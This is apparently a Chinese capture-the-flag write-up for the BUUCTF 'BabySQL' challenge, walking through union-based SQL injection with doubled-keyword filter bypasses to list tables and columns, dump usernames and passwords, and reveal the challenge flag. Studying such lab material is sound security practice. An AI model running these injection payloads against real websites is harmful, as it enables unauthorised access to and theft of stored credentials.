[极客大挑战 2019]BabySQL—3.20BUUCTF练习day4(3)

极客大挑战 2019BabySQL-3.20BUUCTF练习day4(3)

做题过程

打开是以下页面(前几天有它的第一版和第二版出现)输入1'

回显以下内容(还是字符型以单引号闭合,因为有报错信息回显)
输入1' order by 4%23回显成这个
被过滤了

先不管列数看看

输入1' union select 1,2%23判断显示位在哪里
那就使用以下双写绕过

输入1' ununionion seselectlect 1,2%23双写绕过,判断显示位这里显示列数不相同,那么为什么会有这个报错呢

这是因为union 的特性 :

你要查询语句的字段数量必须要和服务端数据库的查询语句字段数量要一致(指的是union前后的select后面的数字(例如刚刚的查询语句中的1,2字段数是2因为在数据库查询字段数不同所以报错)

那就试一试
1' ununionion seselectlect 1,2,3%23

好啦✔回显正确,之后就使用双写绕过

现在知道了列数(字段数)也知道了回显位(将数据回显在客户端屏幕上的位置)

该查询库名和用户名

输入-1' ununionion seselectlect 1,database(),user()%23
根据联合查询,该查询表名了

输入-1' ununionion seselectlect 1,group_concat(table_name),3 from information_schema.tables where schema_name='geek'%23
修改为-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema='geek'%23
我们查询b4bsql这个表里面的字段名

输入-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whewherere table_name='b4bsql'%23
查询字段内容

输入
-1' ununionion seselectlect 1,group_concat(id,0x3A,username,0x3A,password),3 frfromom b4bsql%23
那就再输入-1' ununionion seselectlect 1,group_concat(id,0x3A,username,0x3A,passwoorrd),3 frfromom b4bsql%23

得到flag
flag{0bbd78c4-ad10-4e17-92d7-72d0022bb992}

相关推荐
花青泽3 小时前
子域名基础04_DNS数据与记录
web安全
写后端的胖头鱼5 小时前
【高频面试题】FullText 全文索引(MySQL)
数据库·mysql·索引·全文索引
专业程序开发源5 小时前
SSM校园拍摄交流服务平台36936-计算机课程设计、毕业设计
java·spring boot·后端·python·elasticsearch·php·课程设计
路远的数据库笔记5 小时前
SQL Server迁移国产数据库怎么做?九套口岸库零停机割接实战
数据库·经验分享·sqlserver·dba
樱花落木兰5 小时前
分布式登录实战:Session 会话共享改造,Redis 存储用户登录状态
java·javascript·数据库·redis·分布式·缓存
kaiyou20265 小时前
用户研究岗秋招,统计分析能力怎么学习和证明?
数据库·python·学习
mjhcsp6 小时前
DeepSeek V4.1 Flash 批量处理效能实测
java·前端·数据库
星夜夏空996 小时前
网络编程(5)—— Reactor实现(v3)
服务器·网络·php
ShineWinsu6 小时前
对于Redis:Steam、Geospatial、Hyperloglog、Bitmap、Bitfield类型的解析
数据库·c++·redis·分布式·缓存·面试·zset
花青泽6 小时前
第2章_阶段1_准备
web安全